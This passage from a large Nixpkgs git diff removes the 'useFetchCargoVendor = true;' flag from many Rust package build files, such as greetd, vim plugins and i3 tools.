 pkgs/by-name/xe/xen-guest-agent/package.nix          |  1 -
 pkgs/by-name/xh/xh/package.nix                       |  1 -
 pkgs/by-name/xi/xidlehook/package.nix                |  1 -
 pkgs/by-name/xi/xiu/package.nix                      |  1 -
 pkgs/by-name/xp/xplorer/package.nix                  |  1 -
 pkgs/by-name/xp/xplr/package.nix                     |  1 -
 pkgs/by-name/xq/xq/package.nix                       |  1 -
 pkgs/by-name/xr/xremap/package.nix                   |  2 --
 pkgs/by-name/xr/xrizer/package.nix                   |  1 -
 pkgs/by-name/xw/xwayland-satellite/package.nix       |  1 -
 pkgs/by-name/ya/yaak/package.nix                     |  2 --
 pkgs/by-name/ya/yambar-hyprland-wses/package.nix     |  1 -
 pkgs/by-name/ya/yara-x/package.nix                   |  1 -
 .../ya/yarn-berry/fetcher/yarn-berry-fetcher.nix     |  1 -
 pkgs/by-name/ya/yaydl/package.nix                    |  1 -
 pkgs/by-name/ya/yazi-unwrapped/package.nix           |  1 -
 pkgs/by-name/ye/yek/package.nix                      |  2 +-
 pkgs/by-name/ye/yew-fmt/package.nix                  |  1 -
 pkgs/by-name/ye/yex-lang/package.nix                 |  1 -
 pkgs/by-name/yg/yggdrasil-jumper/package.nix         |  1 -
 pkgs/by-name/yo/yofi/package.nix                     |  1 -
 pkgs/by-name/yo/you-have-mail-cli/package.nix        |  1 -
 pkgs/by-name/yo/youki/package.nix                    |  1 -
 pkgs/by-name/yo/youtube-tui/package.nix              |  1 -
 pkgs/by-name/yt/ytermusic/package.nix                |  2 --
 pkgs/by-name/yt/ytui-music/package.nix               |  1 -
 pkgs/by-name/zb/zbus-xmlgen/package.nix              |  1 -
 pkgs/by-name/ze/zed-editor/package.nix               |  1 -
 pkgs/by-name/ze/zeekstd/package.nix                  |  1 -
 pkgs/by-name/ze/zenith/package.nix                   |  1 -
 pkgs/by-name/ze/zenoh-backend-filesystem/package.nix |  1 -
 pkgs/by-name/ze/zenoh-backend-influxdb/package.nix   |  1 -
 pkgs/by-name/ze/zenoh-backend-rocksdb/package.nix    |  1 -
 pkgs/by-name/ze/zenoh-plugin-mqtt/package.nix        |  1 -
 pkgs/by-name/ze/zenoh-plugin-webserver/package.nix   |  1 -
 pkgs/by-name/ze/zenoh/package.nix                    |  1 -
 pkgs/by-name/ze/zeronsd/package.nix                  |  1 -
 pkgs/by-name/ze/zet/package.nix                      |  1 -
 pkgs/by-name/zi/zine/package.nix                     |  1 -
 pkgs/by-name/zi/zizmor/package.nix                   |  1 -
 pkgs/by-name/zk/zktree/package.nix                   |  1 -
 pkgs/by-name/zl/zluda/package.nix                    |  1 -
 pkgs/by-name/zo/zola/package.nix                     |  1 -
 pkgs/by-name/zo/zoxide/package.nix                   |  1 -
 .../zp/zpool-auto-expand-partitions/package.nix      |  1 -
 .../flutter_discord_rpc/default.nix                  |  2 --
 .../dart/package-source-builders/rhttp/default.nix   |  1 -
 .../super_native_extensions/default.nix              |  2 --
 .../compilers/elm/packages/elm-json/default.nix      |  1 -
 .../compilers/elm/packages/elm-test-rs/default.nix   |  1 -
 pkgs/development/interpreters/wasmer/default.nix     |  1 -
 pkgs/development/lua-modules/lux-lua.nix             |  1 -
 pkgs/development/python-modules/wandb/default.nix    |  1 -
 .../buildkite-test-collector-rust/default.nix        |  1 -
 pkgs/development/tools/database/indradb/default.nix  |  2 --
 pkgs/development/tools/devpod/default.nix            |  1 -
 .../tools/parsing/tree-sitter/default.nix            |  1 -
 pkgs/development/tools/rover/default.nix             |  1 -
 pkgs/development/tools/rust/bindgen/unwrapped.nix    |  1 -
 pkgs/development/tools/rust/cargo-pgrx/default.nix   |  1 -
 pkgs/development/tools/rust/rustup/default.nix       |  1 -
 pkgs/games/blightmud/default.nix                     |  1 -
 pkgs/os-specific/linux/scx/scx_rustscheds.nix        |  1 -
 pkgs/servers/monitoring/laurel/default.nix           |  1 -
 .../monitoring/prometheus/wireguard-exporter.nix     |  1 -
 pkgs/servers/nextcloud/notify_push.nix               |  2 --
 pkgs/servers/nosql/influxdb/default.nix              |  2 +-
 pkgs/servers/nosql/influxdb2/default.nix             |  2 +-
 pkgs/servers/polaris/default.nix                     |  1 -
 .../sql/postgresql/ext/pgvecto-rs/package.nix        |  1 -
 .../sql/postgresql/ext/pgvectorscale/package.nix     |  1 -
 pkgs/servers/sql/postgresql/ext/pgx_ulid.nix         |  1 -
 .../sql/postgresql/ext/timescaledb_toolkit.nix       |  1 -
 pkgs/servers/web-apps/lemmy/server.nix               |  1 -
 pkgs/servers/web-apps/plausible/default.nix          |  2 +-
 pkgs/shells/nushell/default.nix                      |  1 -
 pkgs/shells/nushell/plugins/net.nix                  |  1 -
 pkgs/tools/audio/yabridgectl/default.nix             |  1 -
 pkgs/tools/filesystems/garage/default.nix            |  1 -
 pkgs/tools/misc/fclones/default.nix                  |  1 -
 pkgs/tools/misc/fclones/gui.nix                      |  1 -
 pkgs/tools/misc/nvfancontrol/default.nix             |  1 -
 pkgs/tools/misc/sshx/default.nix                     |  2 --
 pkgs/tools/misc/tremor-rs/default.nix                |  1 -
 pkgs/tools/misc/tremor-rs/ls.nix                     |  1 -
 pkgs/tools/networking/bore-cli/default.nix           |  1 -
 pkgs/tools/networking/rosenpass/default.nix          |  1 -
 pkgs/tools/package-management/nix-index/default.nix  |  1 -
 pkgs/tools/security/gpg-tui/default.nix              |  1 -
 pkgs/tools/text/mdcat/default.nix                    |  1 -
 2040 files changed, 73 insertions(+), 2100 deletions(-)

diff --git a/pkgs/applications/audio/librespot/default.nix b/pkgs/applications/audio/librespot/default.nix
index 9694c3d0cf4f..f5ff221e1bfe 100644
--- a/pkgs/applications/audio/librespot/default.nix
+++ b/pkgs/applications/audio/librespot/default.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dGQDRb7fgIkXelZKa+PdodIs9DxbgEMlVGJjK/hU3Mo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SqvJSHkyd1IicT6c4pE96dBJNNodULhpyG14HRGVWCk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/blockchains/teos/default.nix b/pkgs/applications/blockchains/teos/default.nix
index ad3cced89007..0cf5983fc19d 100644
--- a/pkgs/applications/blockchains/teos/default.nix
+++ b/pkgs/applications/blockchains/teos/default.nix
@@ -30,7 +30,6 @@ in
     pname = "teos";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-lod5I94T4wGwXEDtvh2AyaDYM0byCfaSBP8emKV7+3M=";
 
     buildAndTestSubdir = "teos";
@@ -53,7 +52,6 @@ in
     pname = "teos-watchtower-plugin";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-lod5I94T4wGwXEDtvh2AyaDYM0byCfaSBP8emKV7+3M=";
 
     buildAndTestSubdir = "watchtower-plugin";
diff --git a/pkgs/applications/display-managers/greetd/default.nix b/pkgs/applications/display-managers/greetd/default.nix
index 8ef7bd41bbbf..2a2c908d4499 100644
--- a/pkgs/applications/display-managers/greetd/default.nix
+++ b/pkgs/applications/display-managers/greetd/default.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-jgvYnjt7j4uubpBxrYM3YiUfF1PWuHAN1kwnv6Y+bMg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JwTLZawY9+M09IDbMPoNUcNrnW1C2OVlEVn1n7ol6dY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/display-managers/greetd/regreet.nix b/pkgs/applications/display-managers/greetd/regreet.nix
index ec537e7b0d85..0872941b8cb3 100644
--- a/pkgs/applications/display-managers/greetd/regreet.nix
+++ b/pkgs/applications/display-managers/greetd/regreet.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-f8Xvno5QqmWz4SUiFYDvs8lFU1ZaqQ8gpTaVzWxW4T8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-abCQ3RsnZ/a1DbjQFOiA7Xs7bbqSJxwNps8yV6Q4FIw=";
 
   buildFeatures = [ "gtk4_8" ];
diff --git a/pkgs/applications/display-managers/greetd/tuigreet.nix b/pkgs/applications/display-managers/greetd/tuigreet.nix
index dda898b9dd50..19ca3c8b592d 100644
--- a/pkgs/applications/display-managers/greetd/tuigreet.nix
+++ b/pkgs/applications/display-managers/greetd/tuigreet.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-e0YtpakEaaWdgu+bMr2VFoUc6+SUMFk4hYtSyk5aApY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w6ZOqpwogKoN4oqqI1gFqY8xAnfvhEBVaL8/6JXpKXs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/display-managers/greetd/wlgreet.nix b/pkgs/applications/display-managers/greetd/wlgreet.nix
index 793f14f02907..9f5820148b32 100644
--- a/pkgs/applications/display-managers/greetd/wlgreet.nix
+++ b/pkgs/applications/display-managers/greetd/wlgreet.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TQTHFBOTxtSuzrAG4cjZ9oirl80xc0rPdYeLJ0t39DQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ITo9qvcT5aOybWLV7kn9BZbux6uxx1RwRGWCGQYdZ2I=";
 
   nativeBuildInputs = [ autoPatchelfHook ];
diff --git a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/lspce/module.nix b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/lspce/module.nix
index 4ac2cc5e0849..4d9f64c110ff 100644
--- a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/lspce/module.nix
+++ b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/lspce/module.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-DiqC7z1AQbXsSXc77AGRilWi3HfEg0YoHrXu54O3Clo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ygFXKniCCOyXndPOTKoRbd4W1OR2CSA2jr7yxpwkw28=";
 
   checkFlags = [
diff --git a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tsc/package.nix b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tsc/package.nix
index f96632992080..0c8bd0859df4 100644
--- a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tsc/package.nix
+++ b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tsc/package.nix
@@ -21,7 +21,6 @@ let
       hash = "sha256-LrakDpP3ZhRQqz47dPcyoQnu5lROdaNlxGaQfQT6u+k=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-Tua3ZFfSyWVYXU9mPLWXE6ejGlXowTNe3nvZBaicmSQ=";
 
     sourceRoot = "${src.name}/core";
diff --git a/pkgs/applications/editors/jetbrains/source/build.nix b/pkgs/applications/editors/jetbrains/source/build.nix
index f24c9947fe43..b97d7b2da18f 100644
--- a/pkgs/applications/editors/jetbrains/source/build.nix
+++ b/pkgs/applications/editors/jetbrains/source/build.nix
@@ -134,7 +134,7 @@ let
     version = buildNumber;
     inherit src;
     sourceRoot = "${src.name}/native/restarter";
-    useFetchCargoVendor = true;
+
     cargoHash = restarterHash;
 
     # Allow static linking
diff --git a/pkgs/applications/editors/kakoune/plugins/overrides.nix b/pkgs/applications/editors/kakoune/plugins/overrides.nix
index c809978616f7..256bc4630da0 100644
--- a/pkgs/applications/editors/kakoune/plugins/overrides.nix
+++ b/pkgs/applications/editors/kakoune/plugins/overrides.nix
@@ -172,7 +172,6 @@ self: super: {
       git
     ];
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-cgUBa0rgfJFnosCgD20G1rlOl/nyXJ9bA9SSf4BuqAs=";
 
     postInstall = ''
diff --git a/pkgs/applications/editors/neovim/gnvim/default.nix b/pkgs/applications/editors/neovim/gnvim/default.nix
index 1fc6f2184f08..6ca28b5e743d 100644
--- a/pkgs/applications/editors/neovim/gnvim/default.nix
+++ b/pkgs/applications/editors/neovim/gnvim/default.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VyyHlyMW/9zYECobQwngFARQYqcoXmopyCHUwHolXfo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+i4fFiuNmc2+aFyOW2FxRZXINN1XF0nDJVsFYnIHI24=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/LanguageClient-neovim/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/LanguageClient-neovim/default.nix
index 15cc28df0657..91496d60e11a 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/LanguageClient-neovim/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/LanguageClient-neovim/default.nix
@@ -17,7 +17,6 @@ let
     pname = "LanguageClient-neovim-bin";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-1tfeowqvjEjMXIfrhr388YhlZrk3ns+Y/2odQnkLw7k=";
   };
 in
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/avante-nvim/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/avante-nvim/default.nix
index f038c61b53b5..2041b5eaac9c 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/avante-nvim/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/avante-nvim/default.nix
@@ -23,7 +23,6 @@ let
     pname = "avante-nvim-lib";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-pmnMoNdaIR0i+4kwW3cf01vDQo39QakTCEG9AXA86ck=";
 
     nativeBuildInputs = [
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/blink-cmp/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/blink-cmp/default.nix
index 26735f7a0be4..038687987a50 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/blink-cmp/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/blink-cmp/default.nix
@@ -19,7 +19,6 @@ let
     inherit version src;
     pname = "blink-fuzzy-lib";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-IDoDugtNWQovfSstbVMkKHLBXKa06lxRWmywu4zyS3M=";
 
     nativeBuildInputs = [ gitMinimal ];
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/blink-pairs/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/blink-pairs/default.nix
index d469e1ee8dbd..8445fe7b2bf2 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/blink-pairs/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/blink-pairs/default.nix
@@ -21,7 +21,6 @@ let
     pname = "blink-pairs";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-vkybRuym1yibaw943Gs9luYLdYEp4tgvA8e4maATiTY=";
 
     nativeBuildInputs = [
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/codesnap-nvim/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/codesnap-nvim/default.nix
index 14e3240bf058..cfe63d8b891c 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/codesnap-nvim/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/codesnap-nvim/default.nix
@@ -22,7 +22,6 @@ let
 
     sourceRoot = "${src.name}/generator";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-tg4BO4tPzHhJTowL7RiAuBo4i440FehpGmnz9stTxfI=";
 
     nativeBuildInputs = [
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/cord-nvim/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/cord-nvim/default.nix
index ac7cf589c82d..9a46ab8c4657 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/cord-nvim/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/cord-nvim/default.nix
@@ -25,7 +25,6 @@ let
         --replace-fail "2.0.0-beta.30" "${version}"
     '';
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-hKt9d2u/tlD7bgo49O8oHDLljRvad9dEpGdFt+LH6Ec=";
 
     # cord depends on nightly features
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/nvim-spectre/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/nvim-spectre/default.nix
index 450264c829eb..75e249801aa7 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/nvim-spectre/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/nvim-spectre/default.nix
@@ -20,7 +20,6 @@ let
     inherit version src;
     sourceRoot = "${src.name}/spectre_oxi";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-0szVL45QRo3AuBMf+WQ0QF0CS1B9HWPxfF6l6TJtv6Q=";
 
     preCheck = ''
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/sg-nvim/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/sg-nvim/default.nix
index fe5e6f333363..1a2653bb134e 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/sg-nvim/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/sg-nvim/default.nix
@@ -21,7 +21,6 @@ let
     pname = "sg-nvim-rust";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-yY/5w2ztmTKJAYDxBJND8itCOwRNi1negiFq3PyFaSM=";
 
     nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/sniprun/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/sniprun/default.nix
index 1bb6464e8295..f5c0914a5db8 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/sniprun/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/sniprun/default.nix
@@ -29,7 +29,6 @@ let
     pname = "sniprun-bin";
     inherit version src;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-cu7wn75rQcwPLjFl4v05kVMsiCD0mAlIBt49mvIaPPU=";
 
     nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/vim-clap/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/vim-clap/default.nix
index 4a9e6b976819..270455c399f0 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/vim-clap/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/vim-clap/default.nix
@@ -33,7 +33,6 @@ let
     pname = "maple";
     inherit version src meta;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-FEeSwa8KmIyfhWAU9Dpric6uB2e0yK+Tig/k2zwq2Rg=";
 
     nativeBuildInputs = [
diff --git a/pkgs/applications/editors/vim/plugins/non-generated/vim-markdown-composer/default.nix b/pkgs/applications/editors/vim/plugins/non-generated/vim-markdown-composer/default.nix
index eab1edbb7e17..1aee4c1a6461 100644
--- a/pkgs/applications/editors/vim/plugins/non-generated/vim-markdown-composer/default.nix
+++ b/pkgs/applications/editors/vim/plugins/non-generated/vim-markdown-composer/default.nix
@@ -17,7 +17,7 @@ let
   vim-markdown-composer-bin = rustPlatform.buildRustPackage {
     pname = "vim-markdown-composer-bin";
     inherit src version;
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-xzlEIaDEYDbxJ6YqzF+lSHcB9O+brClw026YI1YeNUc=";
     # tests require network access
     doCheck = false;
diff --git a/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/adapter.nix b/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/adapter.nix
index 2acd09bd9248..11d60d8a10b8 100644
--- a/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/adapter.nix
+++ b/pkgs/applications/editors/vscode/extensions/vadimcn.vscode-lldb/adapter.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
   pname = "${pname}-adapter";
   inherit version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Nh4YesgWa1JR8tLfrIRps9TBdsAfilXu6G2/kB08co8=";
 
   # Environment variables, based on <https://github.com/vadimcn/codelldb/blob/master/cargo_config.unix.toml>
diff --git a/pkgs/applications/misc/pagefind/default.nix b/pkgs/applications/misc/pagefind/default.nix
index 08b6abd83121..a0315bdb23a9 100644
--- a/pkgs/applications/misc/pagefind/default.nix
+++ b/pkgs/applications/misc/pagefind/default.nix
@@ -41,7 +41,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NIEiXwuy8zuUDxPsD4Hiq3x4cOG3VM+slfNIBSJU2Mk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e1JSK8RnBPGcAmgxJZ7DaYhMMaUqO412S9YvaqXll3E=";
 
   env.npmDeps_web_js = fetchNpmDeps {
diff --git a/pkgs/applications/networking/cluster/kubectl-view-allocations/default.nix b/pkgs/applications/networking/cluster/kubectl-view-allocations/default.nix
index 23496281ce2f..8c2ce3b6cae1 100644
--- a/pkgs/applications/networking/cluster/kubectl-view-allocations/default.nix
+++ b/pkgs/applications/networking/cluster/kubectl-view-allocations/default.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1bE2idLPok6YmB1qyTDQmBg+uzc6/Sza75dSN7QpEcI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QAjANg8os3RID0Lrl7qGEvxT/1i8UBwVfK0G4PHwrXA=";
 
   doInstallCheck = true;
diff --git a/pkgs/applications/networking/mullvad/mullvad.nix b/pkgs/applications/networking/mullvad/mullvad.nix
index 52a9e7dd61a6..451fc7fb8c93 100644
--- a/pkgs/applications/networking/mullvad/mullvad.nix
+++ b/pkgs/applications/networking/mullvad/mullvad.nix
@@ -40,7 +40,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IpGTqi0gSE2yXXou5fp+CryHfIKx0n3y/V4K2+ZO3k8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EJ8yk11H1QB+7CGjJYY5BjBAFTDK4d02/DJOQTVGFho=";
 
   checkFlags = [
diff --git a/pkgs/applications/office/activitywatch/default.nix b/pkgs/applications/office/activitywatch/default.nix
index 1287c4c3ccc4..715c21e8b89f 100644
--- a/pkgs/applications/office/activitywatch/default.nix
+++ b/pkgs/applications/office/activitywatch/default.nix
@@ -187,7 +187,6 @@ rec {
 
     src = "${sources}/aw-server-rust";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-E89E/LWBPHtb6vX94swodmE+UrWMrzQnm8AO5GeyuoA=";
 
     patches = [
diff --git a/pkgs/applications/system/coolercontrol/coolercontrold.nix b/pkgs/applications/system/coolercontrol/coolercontrold.nix
index d1e5e43fc8c1..394bd3f6a393 100644
--- a/pkgs/applications/system/coolercontrol/coolercontrold.nix
+++ b/pkgs/applications/system/coolercontrol/coolercontrold.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
   inherit version src;
   sourceRoot = "${src.name}/coolercontrold";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZyYyQcaYd3VZ7FL0Hki33JO3LscPfBT5gl+nw2cXvUs=";
 
   buildInputs = [ libdrm ];
diff --git a/pkgs/applications/video/obs-studio/plugins/obs-livesplit-one/default.nix b/pkgs/applications/video/obs-studio/plugins/obs-livesplit-one/default.nix
index 3897fc7b384a..85089cb35883 100644
--- a/pkgs/applications/video/obs-studio/plugins/obs-livesplit-one/default.nix
+++ b/pkgs/applications/video/obs-studio/plugins/obs-livesplit-one/default.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-4Ar4ChSl226BVFyAnqpWDLxsZF63bxl++sWD+6aENW8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e0FDa72vzRb5AMVmtkvAkiQ5GUXsq0LekqF+wDYDsr8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix b/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
index 0a8c571f5394..7e78d05a29f4 100644
--- a/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
+++ b/pkgs/applications/virtualization/rust-hypervisor-firmware/default.nix
@@ -38,7 +38,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-iLYmPBJH7I6EJ8VTUbR0+lZaebvbZlRv2KglbjKX76Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iqsU4t8Zz9UTtAu+a6kqwnPZ6qdGAriQ7hcU58KDQ8M=";
 
   # lld: error: unknown argument '-Wl,--undefined=AUDITABLE_VERSION_INFO'
diff --git a/pkgs/applications/window-managers/dwm/dwm-status.nix b/pkgs/applications/window-managers/dwm/dwm-status.nix
index 3019ab156fb1..677cdc37a38a 100644
--- a/pkgs/applications/window-managers/dwm/dwm-status.nix
+++ b/pkgs/applications/window-managers/dwm/dwm-status.nix
@@ -52,7 +52,6 @@ rustPlatform.buildRustPackage rec {
     xorg.libX11
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-G31p8iVRUODD4hUssXaOqEOUTW+C+GZMy/L/tgumDtA=";
 
   postInstall = lib.optionalString (bins != [ ]) ''
diff --git a/pkgs/applications/window-managers/i3/auto-layout.nix b/pkgs/applications/window-managers/i3/auto-layout.nix
index cd75d7c1d8aa..6963f876fc05 100644
--- a/pkgs/applications/window-managers/i3/auto-layout.nix
+++ b/pkgs/applications/window-managers/i3/auto-layout.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-gpVYVyh+2y4Tttvw1SuCf7mx/nxR330Ob2R4UmHZSJs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oKpcYhD9QNW+8gFVybDEnz58cZ+2Bf4bwYuflXiJ1jc=";
 
   # Currently no tests are implemented, so we avoid building the package twice
diff --git a/pkgs/applications/window-managers/i3/cycle-focus.nix b/pkgs/applications/window-managers/i3/cycle-focus.nix
index d359e9eb6fee..986c153e0869 100644
--- a/pkgs/applications/window-managers/i3/cycle-focus.nix
+++ b/pkgs/applications/window-managers/i3/cycle-focus.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-caZKvxOqoYgPs+Zjltj8K0/ospjkLnA4kh0rsTjeU3Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6d3a9iaXKakbs7g/649nO39bh4Ka8jcBI/yJImTqoZs=";
 
   meta = with lib; {
diff --git a/pkgs/applications/window-managers/i3/i3-ratiosplit.nix b/pkgs/applications/window-managers/i3/i3-ratiosplit.nix
index 325e47c1b0d5..d04857f7e023 100644
--- a/pkgs/applications/window-managers/i3/i3-ratiosplit.nix
+++ b/pkgs/applications/window-managers/i3/i3-ratiosplit.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0yfmr5zk2c2il9d31yjjbr48sqgcq6hp4a99hl5mjm2ajyhy5bz3";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-no5fJ5nlwyS/PVi9J5Ek3c3Rp7A3MflpReo9kwJrj6U=";
 
   # Currently no tests are implemented, so we avoid building the package twice
diff --git a/pkgs/applications/window-managers/i3/status-rust.nix b/pkgs/applications/window-managers/i3/status-rust.nix
index 33564b2d6554..939be77a18f0 100644
--- a/pkgs/applications/window-managers/i3/status-rust.nix
+++ b/pkgs/applications/window-managers/i3/status-rust.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xJm4MsEU0OVX401WvKllg3zUwgCvjLxlAQzXE/oD1J0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EFFmH9aG7DvSA5rsAuszc1B8kcLdruSk3Hhp4V9t9Gk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/window-managers/i3/wmfocus.nix b/pkgs/applications/window-managers/i3/wmfocus.nix
index c0e04baeda08..80367f13c418 100644
--- a/pkgs/applications/window-managers/i3/wmfocus.nix
+++ b/pkgs/applications/window-managers/i3/wmfocus.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-94MgE2j8HaS8IyzHEDtoqTls2A8xD96v2iAFx9XfMcw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tYzJS/ApjGuvNnGuBEVr54AGcEmDhG9HtirZvtmNslY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/window-managers/i3/workstyle.nix b/pkgs/applications/window-managers/i3/workstyle.nix
index a12bdb24ebfa..a4191d1bcff2 100644
--- a/pkgs/applications/window-managers/i3/workstyle.nix
+++ b/pkgs/applications/window-managers/i3/workstyle.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-yhnt7edhgVy/cZ6FpF6AZWPoeMeEKTXP+87no2KeIYU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-es8kS1w71TuQ1pKb4/wXtpukWEBqUJUA+GX3uXOYbtU=";
 
   doCheck = false; # No tests
diff --git a/pkgs/applications/window-managers/i3/wsr.nix b/pkgs/applications/window-managers/i3/wsr.nix
index dd2efb0a022c..ab80c86ebe15 100644
--- a/pkgs/applications/window-managers/i3/wsr.nix
+++ b/pkgs/applications/window-managers/i3/wsr.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RTJ+up3mt6KuMkTBCXDUmztxwEQCeyAjuhhOUrdIfTo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7WS+8EGGl8sJ3TeT7IM+u1AiD0teJ2AITb++zK/keXs=";
 
   nativeBuildInputs = [ python3 ];
diff --git a/pkgs/by-name/aa/aaa/package.nix b/pkgs/by-name/aa/aaa/package.nix
